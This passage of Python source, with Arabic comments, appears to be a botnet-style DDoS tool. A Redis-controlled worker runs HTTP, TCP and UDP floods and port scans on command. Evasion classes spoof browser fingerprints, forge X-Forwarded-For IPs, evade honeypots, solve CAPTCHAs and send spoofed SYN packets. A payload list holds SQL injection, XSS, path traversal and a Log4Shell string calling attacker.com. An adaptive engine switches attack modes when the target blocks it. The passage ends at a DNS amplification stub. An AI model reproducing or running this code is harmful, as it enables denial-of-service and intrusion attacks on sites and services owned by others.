| if not message or message.get("type") != "message": | |
| continue | |
| try: | |
| payload = json.loads(message.get("data")) | |
| command = payload.get("command") | |
| params = payload.get("params", {}) | |
| logger.info(f"[WORKER] Received command {command} with params {params}") | |
| if command == "attack": | |
| target = params.get("target") | |
| mode = params.get("mode", "http") | |
| threads = params.get("threads", max_threads) | |
| duration = params.get("duration", 60) | |
| total_requests = params.get("total_requests", 10000) | |
| if mode in {"http", "http-app", "async-http"}: | |
| http_flood( | |
| url=target, | |
| total_requests=total_requests, | |
| workers=threads, | |
| method=params.get("method", "GET"), | |
| payload=params.get("payload", "message=payload"), | |
| rate=0, | |
| duration=duration, | |
| extra_headers=True, | |
| use_playwright=False, | |
| keepalive=True, | |
| random_query=True, | |
| app_mode=(mode == "http-app"), | |
| logger=logger, | |
| identity_pool=None, | |
| human_timing=False, | |
| use_cffi=False, | |
| tcp_spoof=False, | |
| ai_payload=False | |
| ) | |
| elif mode == "tcp": | |
| tcp_connection_flood(target, params.get("port", 80), total_requests, threads, False, 0, duration, logger) | |
| elif mode == "udp-flood": | |
| udp_flood(target, params.get("port", 80), total_requests, 1400, 0, duration, logger) | |
| elif command == "port_scan": | |
| target = params.get("target") | |
| ports = params.get("ports", [80, 443, 8080, 8443]) | |
| open_ports = scan_ports(target, ports) | |
| controller.redis.set(f"worker:{worker_id}:port_scan_result", json.dumps({"open_ports": open_ports}), ex=60) | |
| elif command == "stop": | |
| logger.warning("[WORKER] Stop command received.") | |
| break | |
| except Exception as exc: | |
| logger.error(f"[WORKER] Command processing failed: {exc}") | |
| pubsub.close() | |
| logger.info("[WORKER] Command listener stopped.") | |
| # ============================================================================ | |
| # ملفات تعريف المتصفحات (BROWSER PROFILES) - 5 ملفات تعريف مختلفة | |
| # ============================================================================ | |
| BROWSER_PROFILES = [ | |
| { | |
| "name": "Chrome 124 Windows", | |
| "user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", | |
| "sec_ch_ua": '"Chromium";v="124", "Google Chrome";v="124", "Not-A.Brand";v="99"', | |
| "sec_ch_ua_mobile": "?0", | |
| "sec_ch_ua_platform": '"Windows"', | |
| "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", | |
| "accept_encoding": "gzip, deflate, br, zstd", | |
| "sec_fetch_dest": "document", | |
| "sec_fetch_mode": "navigate", | |
| "sec_fetch_site": "none", | |
| "sec_fetch_user": "?1", | |
| "upgrade_insecure_requests": "1", | |
| "tls_impersonate": "chrome124", | |
| "platform": "windows", | |
| }, | |
| { | |
| "name": "Chrome 124 macOS", | |
| "user_agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", | |
| "sec_ch_ua": '"Chromium";v="124", "Google Chrome";v="124", "Not-A.Brand";v="99"', | |
| "sec_ch_ua_mobile": "?0", | |
| "sec_ch_ua_platform": '"macOS"', | |
| "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", | |
| "accept_encoding": "gzip, deflate, br, zstd", | |
| "sec_fetch_dest": "document", | |
| "sec_fetch_mode": "navigate", | |
| "sec_fetch_site": "none", | |
| "sec_fetch_user": "?1", | |
| "upgrade_insecure_requests": "1", | |
| "tls_impersonate": "chrome124", | |
| "platform": "macos", | |
| }, | |
| { | |
| "name": "Firefox 125 Windows", | |
| "user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0", | |
| "sec_ch_ua": None, | |
| "sec_ch_ua_mobile": None, | |
| "sec_ch_ua_platform": None, | |
| "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", | |
| "accept_encoding": "gzip, deflate, br, zstd", | |
| "sec_fetch_dest": "document", | |
| "sec_fetch_mode": "navigate", | |
| "sec_fetch_site": "none", | |
| "sec_fetch_user": "?1", | |
| "upgrade_insecure_requests": "1", | |
| "tls_impersonate": "firefox125", | |
| "platform": "windows", | |
| }, | |
| { | |
| "name": "Firefox 125 Linux", | |
| "user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:125.0) Gecko/20100101 Firefox/125.0", | |
| "sec_ch_ua": None, | |
| "sec_ch_ua_mobile": None, | |
| "sec_ch_ua_platform": None, | |
| "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", | |
| "accept_encoding": "gzip, deflate, br, zstd", | |
| "sec_fetch_dest": "document", | |
| "sec_fetch_mode": "navigate", | |
| "sec_fetch_site": "none", | |
| "sec_fetch_user": "?1", | |
| "upgrade_insecure_requests": "1", | |
| "tls_impersonate": "firefox125", | |
| "platform": "linux", | |
| }, | |
| { | |
| "name": "Safari 17 macOS", | |
| "user_agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15", | |
| "sec_ch_ua": None, | |
| "sec_ch_ua_mobile": None, | |
| "sec_ch_ua_platform": None, | |
| "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", | |
| "accept_encoding": "gzip, deflate, br", | |
| "sec_fetch_dest": "document", | |
| "sec_fetch_mode": "navigate", | |
| "sec_fetch_site": "none", | |
| "sec_fetch_user": None, | |
| "upgrade_insecure_requests": "1", | |
| "tls_impersonate": "safari17_2_ios", | |
| "platform": "macos", | |
| }, | |
| ] | |
| GEO_PROFILES = { | |
| "us": {"lang": "en-US,en;q=0.9", "tz": "America/New_York"}, | |
| "uk": {"lang": "en-GB,en;q=0.9", "tz": "Europe/London"}, | |
| "de": {"lang": "de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7", "tz": "Europe/Berlin"}, | |
| "fr": {"lang": "fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7", "tz": "Europe/Paris"}, | |
| "ar": {"lang": "ar-SA,ar;q=0.9,en-US;q=0.8,en;q=0.7", "tz": "Asia/Riyadh"}, | |
| "jp": {"lang": "ja-JP,ja;q=0.9,en-US;q=0.8,en;q=0.7", "tz": "Asia/Tokyo"}, | |
| "br": {"lang": "pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7", "tz": "America/Sao_Paulo"}, | |
| "in": {"lang": "en-IN,en;q=0.9,hi;q=0.8", "tz": "Asia/Kolkata"}, | |
| "default": {"lang": "en-US,en;q=0.9", "tz": "America/New_York"}, | |
| } | |
| USER_AGENTS = [p["user_agent"] for p in BROWSER_PROFILES] | |
| REALISTIC_ACCEPTS = [ | |
| "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", | |
| "application/json, text/javascript, */*; q=0.01", | |
| "text/html,application/xml;q=0.9,image/webp,*/*;q=0.8", | |
| ] | |
| APPLICATION_PATHS = [ | |
| "/", | |
| "/index.php", | |
| "/go/", | |
| "/admin/", | |
| "/api/track", | |
| "/login", | |
| "/redirect", | |
| "/submit", | |
| ] | |
| # ============================================================================ | |
| # CLASSES: أنظمة التخفي المتقدمة (مع تحسينات) | |
| # ============================================================================ | |
| class HumanTimer: | |
| """توليد تأخيرات بشرية باستخدام توزيعات إحصائية""" | |
| def __init__(self, base_delay: float = 0.5, burst_probability: float = 0.15): | |
| self.base_delay = base_delay | |
| self.burst_probability = burst_probability | |
| self._last_delay = base_delay | |
| def next_delay(self) -> float: | |
| if random.random() < self.burst_probability: | |
| delay = random.gauss(0.02, 0.01) | |
| elif random.random() < 0.10: | |
| delay = random.gauss(0.5, 0.2) | |
| else: | |
| pareto = random.paretovariate(1.5) * self.base_delay * 0.1 | |
| jitter = random.gauss(0, self.base_delay * 0.05) | |
| delay = pareto + jitter | |
| delay = max(0.001, min(delay, 1.5)) | |
| self._last_delay = delay | |
| return delay | |
| class HoneypotEvader: | |
| def is_honeypot_link(tag) -> bool: | |
| if not BS4_AVAILABLE: | |
| return False | |
| style = tag.get("style", "").lower().replace(" ", "") | |
| if "display:none" in style or "visibility:hidden" in style or "opacity:0" in style: | |
| return True | |
| classes = tag.get("class", []) | |
| hidden_classes = ["hidden", "invisible", "d-none", "sr-only", "screen-reader-only"] | |
| if any(c.lower() in hidden_classes for c in classes): | |
| return True | |
| return False | |
| def extract_safe_links(html: bytes) -> list[str]: | |
| if not BS4_AVAILABLE: | |
| return [] | |
| try: | |
| soup = BeautifulSoup(html, "html.parser") | |
| safe_links = [] | |
| for a_tag in soup.find_all("a", href=True): | |
| if not HoneypotEvader.is_honeypot_link(a_tag): | |
| safe_links.append(a_tag["href"]) | |
| return safe_links | |
| except Exception: | |
| return [] | |
| class CaptchaSolver: | |
| API_BASE = "http://2captcha.com" | |
| def __init__(self, api_key: str = ""): | |
| self.api_key = api_key or globals().get("TWOCAPTCHA_API_KEY", "") | |
| def available(self) -> bool: | |
| return bool(self.api_key) | |
| def solve_recaptcha(self, sitekey: str, page_url: str, version: str = "v2") -> str: | |
| if not self.available: | |
| return "" | |
| submit_url = ( | |
| f"{self.API_BASE}/in.php?key={self.api_key}" | |
| f"&method=userrecaptcha&googlekey={sitekey}&pageurl={page_url}&json=1" | |
| ) | |
| if version == "v3": | |
| submit_url += "&version=v3&min_score=0.9" | |
| try: | |
| resp = json.loads(urllib.request.urlopen(submit_url, timeout=15).read()) | |
| if resp.get("status") != 1: | |
| return "" | |
| task_id = resp["request"] | |
| for _ in range(24): | |
| time.sleep(5) | |
| result_url = f"{self.API_BASE}/res.php?key={self.api_key}&action=get&id={task_id}&json=1" | |
| result = json.loads(urllib.request.urlopen(result_url, timeout=10).read()) | |
| if result.get("status") == 1: | |
| return result["request"] | |
| elif result.get("request") != "CAPCHA_NOT_READY": | |
| return "" | |
| return "" | |
| except Exception: | |
| return "" | |
| def solve_hcaptcha(self, sitekey: str, page_url: str) -> str: | |
| if not self.available: | |
| return "" | |
| submit_url = ( | |
| f"{self.API_BASE}/in.php?key={self.api_key}" | |
| f"&method=hcaptcha&sitekey={sitekey}&pageurl={page_url}&json=1" | |
| ) | |
| try: | |
| resp = json.loads(urllib.request.urlopen(submit_url, timeout=15).read()) | |
| if resp.get("status") != 1: | |
| return "" | |
| task_id = resp["request"] | |
| for _ in range(24): | |
| time.sleep(5) | |
| result_url = f"{self.API_BASE}/res.php?key={self.api_key}&action=get&id={task_id}&json=1" | |
| result = json.loads(urllib.request.urlopen(result_url, timeout=10).read()) | |
| if result.get("status") == 1: | |
| return result["request"] | |
| elif result.get("request") != "CAPCHA_NOT_READY": | |
| return "" | |
| return "" | |
| except Exception: | |
| return "" | |
| class CAPTCHASolver: | |
| """Attempts to solve CAPTCHA challenges using 2Captcha.""" | |
| def __init__(self, api_key: str = ""): | |
| self.api_key = api_key or globals().get("TWOCAPTCHA_API_KEY", "") | |
| def solve_2captcha(self, sitekey: str, pageurl: str) -> str: | |
| if not self.api_key: | |
| return "" | |
| try: | |
| submit_url = "http://2captcha.com/api/upload" | |
| data = { | |
| "method": "userrecaptcha", | |
| "googlekey": sitekey, | |
| "pageurl": pageurl, | |
| "apikey": self.api_key, | |
| "json": 1, | |
| } | |
| resp = urllib.request.urlopen( | |
| urllib.request.Request(submit_url, data=urllib.parse.urlencode(data).encode()) | |
| ) | |
| result = json.loads(resp.read().decode()) | |
| if result.get("status") != 1: | |
| return "" | |
| captcha_id = result["captcha"] | |
| result_url = f"http://2captcha.com/api/res?apikey={self.api_key}&captcha={captcha_id}&json=1" | |
| for _ in range(30): | |
| time.sleep(1) | |
| resp = urllib.request.urlopen(result_url) | |
| result = json.loads(resp.read().decode()) | |
| if result.get("status") == 1: | |
| return result.get("request", "") | |
| except Exception: | |
| return "" | |
| return "" | |
| def detect_captcha(self, html: str) -> dict: | |
| captchas = { | |
| "recaptcha": "recaptcha" in html.lower(), | |
| "hcaptcha": "hcaptcha" in html.lower(), | |
| "image": "img" in html.lower() and "captcha" in html.lower(), | |
| } | |
| return {k: v for k, v in captchas.items() if v} | |
| class MouseSimulator: | |
| def bezier_curve(start: tuple, end: tuple, control: tuple, steps: int = 20) -> list[tuple]: | |
| points = [] | |
| for i in range(steps + 1): | |
| t = i / steps | |
| x = (1 - t) ** 2 * start[0] + 2 * (1 - t) * t * control[0] + t ** 2 * end[0] | |
| y = (1 - t) ** 2 * start[1] + 2 * (1 - t) * t * control[1] + t ** 2 * end[1] | |
| x += random.gauss(0, 1.5) | |
| y += random.gauss(0, 1.5) | |
| points.append((int(x), int(y))) | |
| return points | |
| def simulate_on_page(page, duration_ms: int = 3000): | |
| if not PLAYWRIGHT_AVAILABLE: | |
| return | |
| viewport = page.viewport_size or {"width": 1280, "height": 720} | |
| w, h = viewport["width"], viewport["height"] | |
| cx, cy = random.randint(100, w - 100), random.randint(100, h - 100) | |
| page.mouse.move(cx, cy) | |
| num_moves = random.randint(3, 6) | |
| for _ in range(num_moves): | |
| tx = random.randint(50, w - 50) | |
| ty = random.randint(50, h - 50) | |
| ctrl_x = random.randint(min(cx, tx), max(cx, tx)) + random.randint(-100, 100) | |
| ctrl_y = random.randint(min(cy, ty), max(cy, ty)) + random.randint(-80, 80) | |
| points = MouseSimulator.bezier_curve((cx, cy), (tx, ty), (ctrl_x, ctrl_y), steps=random.randint(15, 30)) | |
| for px, py in points: | |
| px = max(0, min(px, w)) | |
| py = max(0, min(py, h)) | |
| page.mouse.move(px, py) | |
| time.sleep(random.uniform(0.008, 0.025)) | |
| cx, cy = tx, ty | |
| if random.random() < 0.4: | |
| page.mouse.wheel(0, random.randint(100, 400)) | |
| time.sleep(random.uniform(0.3, 0.8)) | |
| time.sleep(random.uniform(0.2, 0.6)) | |
| if random.random() < 0.3: | |
| page.mouse.click(cx, cy) | |
| time.sleep(random.uniform(0.1, 0.3)) | |
| class RateLimitHandler: | |
| def __init__(self): | |
| self.backoff_multiplier = 1.0 | |
| self.consecutive_429 = 0 | |
| self.max_backoff = 60 | |
| def should_retry(self, status_code: int) -> bool: | |
| return status_code in [429, 503, 502, 504] | |
| def get_delay(self) -> float: | |
| delay = min(self.backoff_multiplier ** self.consecutive_429, self.max_backoff) | |
| return delay + random.uniform(0, 2) | |
| def backoff_delay(self) -> float: | |
| delay = self.get_delay() | |
| self.backoff_multiplier = min(self.backoff_multiplier * 1.5, 128.0) | |
| return delay | |
| def on_rate_limit(self): | |
| self.consecutive_429 += 1 | |
| delay = self.get_delay() | |
| return delay | |
| def reset(self): | |
| if self.consecutive_429 > 0: | |
| self.consecutive_429 = max(0, self.consecutive_429 - 1) | |
| class AdvancedHeaderRotator: | |
| FAKE_HEADERS = [ | |
| "X-Forwarded-For", "X-Real-IP", "X-Originating-IP", | |
| "CF-Connecting-IP", "X-Client-IP", "X-Forwarded", | |
| "X-Forwarded-Proto", "X-Forwarded-Host" | |
| ] | |
| REALISTIC_REFERERS = [ | |
| "https://www.google.com/", "https://www.bing.com/", | |
| "https://www.duckduckgo.com/", "https://www.yandex.com/", | |
| "https://www.baidu.com/", "https://www.reddit.com/", | |
| "https://www.facebook.com/" | |
| ] | |
| def generate_random_ip() -> str: | |
| return f"{random.randint(1,223)}.{random.randint(0,255)}.{random.randint(0,255)}.{random.randint(1,254)}" | |
| def get_obfuscated_headers(cls, base_profile: dict) -> dict: | |
| headers = base_profile.copy() | |
| shuffled = {} | |
| items = list(headers.items()) | |
| random.shuffle(items) | |
| for k, v in items: | |
| shuffled[k] = v | |
| if random.random() < 0.7: | |
| fake_ips = [cls.generate_random_ip() for _ in range(random.randint(1, 3))] | |
| shuffled["X-Forwarded-For"] = ", ".join(fake_ips) | |
| if random.random() < 0.6: | |
| shuffled["X-Real-IP"] = cls.generate_random_ip() | |
| if random.random() < 0.5: | |
| shuffled["CF-Connecting-IP"] = cls.generate_random_ip() | |
| if random.random() < 0.4: | |
| shuffled["X-Requested-With"] = "XMLHttpRequest" | |
| if random.random() < 0.5: | |
| shuffled["Origin"] = random.choice(["https://www.google.com", "https://www.bing.com", "https://www.yahoo.com"]) | |
| if random.random() < 0.6: | |
| shuffled["Referer"] = random.choice(cls.REALISTIC_REFERERS) | |
| if random.random() < 0.3: | |
| shuffled["CF-Visitor"] = '{"scheme":"https"}' | |
| shuffled["Cache-Control"] = random.choice(["no-cache", "max-age=0", "no-store"]) | |
| shuffled["Pragma"] = "no-cache" | |
| return shuffled | |
| class AdaptiveDelayEngine: | |
| def __init__(self): | |
| self.success_rate = 1.0 | |
| self.last_delays = [] | |
| self.mode = "aggressive" | |
| def next_delay(self) -> float: | |
| if self.success_rate < 0.5: | |
| delay = random.gauss(1.0, 0.3) | |
| elif self.success_rate < 0.8: | |
| delay = random.gauss(0.3, 0.1) | |
| else: | |
| delay = random.gauss(0.05, 0.02) | |
| delay = max(0.01, delay) | |
| self.last_delays.append(delay) | |
| if len(self.last_delays) > 100: | |
| self.last_delays.pop(0) | |
| return delay | |
| def update_success_rate(self, status_code: int): | |
| if 200 <= status_code < 300: | |
| self.success_rate = min(1.0, self.success_rate + 0.05) | |
| elif status_code in [429, 503, 403]: | |
| self.success_rate = max(0.1, self.success_rate - 0.15) | |
| else: | |
| self.success_rate = max(0.1, self.success_rate - 0.05) | |
| class SessionIdentity: | |
| def __init__(self, profile: dict, geo: str = "default", proxy: str = None): | |
| self.profile = profile | |
| self.geo = GEO_PROFILES.get(geo, GEO_PROFILES["default"]) | |
| self.proxy = proxy | |
| self.cookie_jar = http.cookiejar.CookieJar() | |
| handlers = [urllib.request.HTTPCookieProcessor(self.cookie_jar)] | |
| if self.proxy: | |
| proxy_dict = {} | |
| if self.proxy.startswith("socks"): | |
| proxy_dict = {"http": self.proxy, "https": self.proxy} | |
| elif self.proxy.startswith("http"): | |
| proxy_dict = {"http": self.proxy, "https": self.proxy} | |
| else: | |
| proxy_dict = {"http": f"http://{self.proxy}", "https": f"http://{self.proxy}"} | |
| handlers.append(urllib.request.ProxyHandler(proxy_dict)) | |
| self.opener = urllib.request.build_opener(*handlers) | |
| self.request_count = 0 | |
| self.created_at = time.monotonic() | |
| def get_headers(self, keepalive: bool = False) -> dict[str, str]: | |
| p = self.profile | |
| headers = {} | |
| headers["Host"] = "" | |
| headers["Connection"] = "keep-alive" if keepalive else "close" | |
| if p.get("upgrade_insecure_requests"): | |
| headers["Upgrade-Insecure-Requests"] = p["upgrade_insecure_requests"] | |
| headers["User-Agent"] = p["user_agent"] | |
| headers["Accept"] = p["accept"] | |
| if p.get("sec_fetch_site"): | |
| headers["Sec-Fetch-Site"] = p["sec_fetch_site"] | |
| if p.get("sec_fetch_mode"): | |
| headers["Sec-Fetch-Mode"] = p["sec_fetch_mode"] | |
| if p.get("sec_fetch_user"): | |
| headers["Sec-Fetch-User"] = p["sec_fetch_user"] | |
| if p.get("sec_fetch_dest"): | |
| headers["Sec-Fetch-Dest"] = p["sec_fetch_dest"] | |
| if p.get("sec_ch_ua"): | |
| headers["Sec-CH-UA"] = p["sec_ch_ua"] | |
| if p.get("sec_ch_ua_mobile"): | |
| headers["Sec-CH-UA-Mobile"] = p["sec_ch_ua_mobile"] | |
| if p.get("sec_ch_ua_platform"): | |
| headers["Sec-CH-UA-Platform"] = p["sec_ch_ua_platform"] | |
| headers["Accept-Encoding"] = p.get("accept_encoding", "gzip, deflate, br") | |
| headers["Accept-Language"] = self.geo["lang"] | |
| return headers | |
| def is_expired(self, max_requests: int = 50, max_age: float = 300.0) -> bool: | |
| if self.request_count >= max_requests: | |
| return True | |
| if time.monotonic() - self.created_at > max_age: | |
| return True | |
| return False | |
| class IdentityPool: | |
| def __init__(self, geo: str = "default", proxies: list[str] = None, | |
| max_requests_per_identity: int = 50, max_age: float = 300.0, | |
| use_js_bypass: bool = False, target_url: str = ""): | |
| self.geo = geo | |
| self.proxies = proxies or [] | |
| self.max_requests = max_requests_per_identity | |
| self.max_age = max_age | |
| self.use_js_bypass = use_js_bypass | |
| self.target_url = target_url | |
| self._identities: list[SessionIdentity] = [] | |
| self._lock = threading.Lock() | |
| def _create_identity(self) -> SessionIdentity: | |
| profile = random.choice(BROWSER_PROFILES) | |
| proxy = random.choice(self.proxies) if self.proxies else None | |
| ident = SessionIdentity(profile, self.geo, proxy) | |
| if self.use_js_bypass and self.target_url: | |
| threading.Thread(target=get_playwright_clearance, args=(self.target_url, ident), daemon=True).start() | |
| return ident | |
| def get_identity(self) -> SessionIdentity: | |
| with self._lock: | |
| for ident in self._identities: | |
| if not ident.is_expired(self.max_requests, self.max_age): | |
| ident.request_count += 1 | |
| return ident | |
| ident = self._create_identity() | |
| ident.request_count = 1 | |
| self._identities.append(ident) | |
| self._identities = [ | |
| i for i in self._identities | |
| if not i.is_expired(self.max_requests, self.max_age) | |
| ] | |
| return ident | |
| class TarpitDetector: | |
| def __init__(self, min_speed_bps: int = 100, stall_timeout: float = 5.0): | |
| self.min_speed_bps = min_speed_bps | |
| self.stall_timeout = stall_timeout | |
| def is_tarpitted(self, bytes_received: int, elapsed: float) -> bool: | |
| if elapsed <= 0: | |
| return False | |
| speed = bytes_received / elapsed | |
| if elapsed > self.stall_timeout and speed < self.min_speed_bps: | |
| return True | |
| return False | |
| class AIPayloadGenerator: | |
| FIRST_NAMES = ["Ahmed", "Mohamed", "Omar", "Youssef", "Ali", "John", "David", "Emma", "Sarah", "Mona"] | |
| LAST_NAMES = ["Hassan", "Ali", "Ibrahim", "Smith", "Johnson", "Williams", "Brown", "Kamal", "Adel"] | |
| DOMAINS = ["gmail.com", "yahoo.com", "hotmail.com", "outlook.com", "icloud.com"] | |
| WAF_BYPASS_PAYLOADS = [ | |
| "' OR '1'='1' -- ", | |
| "<script>alert('XSS')</script>", | |
| "../../../etc/passwd", | |
| "${jndi:ldap://attacker.com/a}", | |
| "'; DROP TABLE users; -- ", | |
| "1' AND SLEEP(5) -- ", | |
| "{{7*7}}", | |
| ] | |
| TARGET_KEYWORDS = ["payload", "message", "query", "data", "update", "info"] | |
| USER_AGENTS_MOBILE = [ | |
| "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1", | |
| "Mozilla/5.0 (Linux; Android 13; SM-S918B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Mobile Safari/537.36", | |
| ] | |
| def learn_from_target(cls, url: str): | |
| try: | |
| ctx = ssl.create_default_context() | |
| ctx.check_hostname = False | |
| ctx.verify_mode = ssl.CERT_NONE | |
| req = urllib.request.Request(url, headers={'User-Agent': random.choice(cls.USER_AGENTS_MOBILE)}) | |
| with urllib.request.urlopen(req, context=ctx, timeout=5) as resp: | |
| html = resp.read().decode('utf-8', errors='ignore') | |
| words = re.findall(r'\b[a-zA-Z]{5,12}\b', html) | |
| if words: | |
| cls.TARGET_KEYWORDS = list(set(words))[:50] | |
| except Exception: | |
| pass | |
| def generate_sentence(cls) -> str: | |
| length = random.randint(4, 10) | |
| sentence = " ".join(random.choices(cls.TARGET_KEYWORDS, k=length)) | |
| return sentence.capitalize() + random.choice([".", "!", "..."]) | |
| def generate_email(first: str, last: str) -> str: | |
| formats = [ | |
| f"{first.lower()}.{last.lower()}", | |
| f"{first.lower()}{last.lower()}{random.randint(10, 999)}", | |
| f"{first.lower()[0]}{last.lower()}{random.randint(1980, 2005)}", | |
| ] | |
| return f"{random.choice(formats)}@{random.choice(AIPayloadGenerator.DOMAINS)}" | |
| def generate_form_data(payload_type: str = "login") -> str: | |
| first = random.choice(AIPayloadGenerator.FIRST_NAMES) | |
| last = random.choice(AIPayloadGenerator.LAST_NAMES) | |
| if payload_type == "login": | |
| email = AIPayloadGenerator.generate_email(first, last) | |
| chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$" | |
| password = "".join(random.choice(chars) for _ in range(random.randint(8, 16))) | |
| return urllib.parse.urlencode({"email": email, "password": password, "remember": "true"}) | |
| elif payload_type == "comment": | |
| name = f"{first} {last}" | |
| email = AIPayloadGenerator.generate_email(first, last) | |
| comment = AIPayloadGenerator.generate_sentence() | |
| return urllib.parse.urlencode({"name": name, "email": email, "comment": comment}) | |
| elif payload_type == "search": | |
| return urllib.parse.urlencode({"q": random.choice(AIPayloadGenerator.TARGET_KEYWORDS), "lang": "en"}) | |
| return "message=payload" | |
| def generate_json_data(payload_type: str = "login") -> str: | |
| text = ''.join(random.choices('abcdefghijklmnopqrstuvwxyz0123456789', k=2048)) | |
| return json.dumps({ | |
| "type": payload_type, | |
| "payload": text, | |
| "nested": [{"id": i, "value": random.random()} for i in range(20)] | |
| }) | |
| def generate_malicious_payload() -> str: | |
| """توليد حمولة هجومية لتجاوز WAF""" | |
| return random.choice(AIPayloadGenerator.WAF_BYPASS_PAYLOADS) | |
| class AIDecisionEngine: | |
| def __init__(self, gui): | |
| self.gui = gui | |
| self.history = [] | |
| self.restart_cooldown = 0 | |
| def choose_initial_plan(self): | |
| modes = ["http", "http-app", "tcp", "udp-flood", "slow-http", "slowloris", "xmlrpc"] | |
| mode = random.choice(modes) | |
| workers = random.choice([50, 100, 200, 400, 800]) | |
| requests = random.choice([5000, 10000, 20000, 50000, 100000]) | |
| method = random.choice(["GET", "POST"]) | |
| keepalive = random.choice([True, False]) | |
| human_timing = random.choice([True, False]) | |
| use_cffi = random.choice([True, False]) | |
| js_bypass = random.choice([True, False]) | |
| ai_payload = random.choice([True, False]) | |
| random_query = random.choice([True, False]) | |
| if mode not in ["http", "http-app"]: | |
| method = "GET" | |
| if mode in ["tcp", "udp-flood", "tcp-rst"]: | |
| target = self.gui.target_var.get().strip() | |
| if target.startswith("http"): | |
| parsed = urllib.parse.urlparse(target) | |
| self.gui.target_var.set(parsed.hostname or target) | |
| self.gui.mode_var.set(mode) | |
| self.gui.workers_var.set(str(workers)) | |
| self.gui.requests_var.set(str(requests)) | |
| self.gui.method_var.set(method) | |
| self.gui.human_timing_var.set(human_timing) | |
| self.gui.use_cffi_var.set(use_cffi) | |
| self.gui.js_bypass_var.set(js_bypass) | |
| self.gui.ai_payload_var.set(ai_payload) | |
| self.gui.log(f"[🧠 AI] Initial attack plan selected: mode={mode}, workers={workers}, requests={requests}, method={method}, ai_payload={ai_payload}") | |
| return { | |
| "mode": mode, | |
| "workers": workers, | |
| "requests": requests, | |
| "method": method, | |
| "human_timing": human_timing, | |
| "use_cffi": use_cffi, | |
| "js_bypass": js_bypass, | |
| "ai_payload": ai_payload, | |
| "keepalive": keepalive, | |
| "random_query": random_query, | |
| } | |
| def process_line(self, line: str): | |
| if not line: | |
| return None | |
| self.history.append(line) | |
| if len(self.history) > 200: | |
| self.history.pop(0) | |
| text = line.lower() | |
| if self.restart_cooldown > 0: | |
| self.restart_cooldown -= 1 | |
| if any(key in text for key in ["blocked", "403", "429", "503", "timeout", "error", "refused", "reset", "tarpit"]): | |
| if self.restart_cooldown > 0: | |
| return None | |
| self.restart_cooldown = 50 | |
| self.gui.log("[🧠 AI] Console shows blocking or errors. Mutating strategy...") | |
| return self.mutate_plan() | |
| return None | |
| def mutate_plan(self): | |
| modes = ["http", "http-app", "tcp", "udp-flood", "slow-http", "slowloris", "xmlrpc"] | |
| mode = random.choice(modes) | |
| workers = random.choice([50, 100, 200, 400, 800]) | |
| requests = random.choice([5000, 10000, 20000, 50000, 100000]) | |
| method = random.choice(["GET", "POST"]) if mode in ["http", "http-app"] else "GET" | |
| if mode in ["tcp", "udp-flood", "tcp-rst"]: | |
| target = self.gui.target_var.get().strip() | |
| if target.startswith("http"): | |
| parsed = urllib.parse.urlparse(target) | |
| self.gui.target_var.set(parsed.hostname or target) | |
| self.gui.mode_var.set(mode) | |
| self.gui.workers_var.set(str(workers)) | |
| self.gui.requests_var.set(str(requests)) | |
| self.gui.method_var.set(method) | |
| self.gui.human_timing_var.set(random.choice([True, False])) | |
| self.gui.use_cffi_var.set(random.choice([True, False])) | |
| self.gui.js_bypass_var.set(random.choice([True, False])) | |
| self.gui.ai_payload_var.set(random.choice([True, False])) | |
| self.gui.log(f"[🧠 AI] New random strategy: mode={mode}, workers={workers}, requests={requests}, method={method}") | |
| return {"restart": True} | |
| OS_TCP_SIGNATURES = { | |
| "windows": {"ttl": 128, "window": 65535, "mss": 1460, "wscale": 8}, | |
| "macos": {"ttl": 64, "window": 65535, "mss": 1460, "wscale": 6}, | |
| "linux": {"ttl": 64, "window": 29200, "mss": 1460, "wscale": 7}, | |
| "ios": {"ttl": 64, "window": 65535, "mss": 1400, "wscale": 6}, | |
| "android": {"ttl": 64, "window": 65535, "mss": 1460, "wscale": 7}, | |
| } | |
| class TCPFingerprinter: | |
| def send_spoofed_syn(target_host: str, target_port: int, os_name: str = "windows", count: int = 1) -> int: | |
| if not SCAPY_AVAILABLE: | |
| return 0 | |
| sig = OS_TCP_SIGNATURES.get(os_name, OS_TCP_SIGNATURES["windows"]) | |
| tcp_options = [ | |
| ("MSS", sig["mss"]), | |
| ("WScale", sig["wscale"]), | |
| ("NOP", None), | |
| ("NOP", None), | |
| ("SAckOK", b""), | |
| ] | |
| sent = 0 | |
| for _ in range(count): | |
| try: | |
| pkt = ( | |
| IP(dst=target_host, ttl=sig["ttl"]) / | |
| TCP( | |
| sport=int(RandShort()), | |
| dport=target_port, | |
| flags="S", | |
| window=sig["window"], | |
| options=tcp_options, | |
| ) | |
| ) | |
| send(pkt, verbose=False) | |
| sent += 1 | |
| except Exception: | |
| break | |
| return sent | |
| def dns_amplification_attack(target_ip: str, target_port: int = 53, count: int = 1000): | |
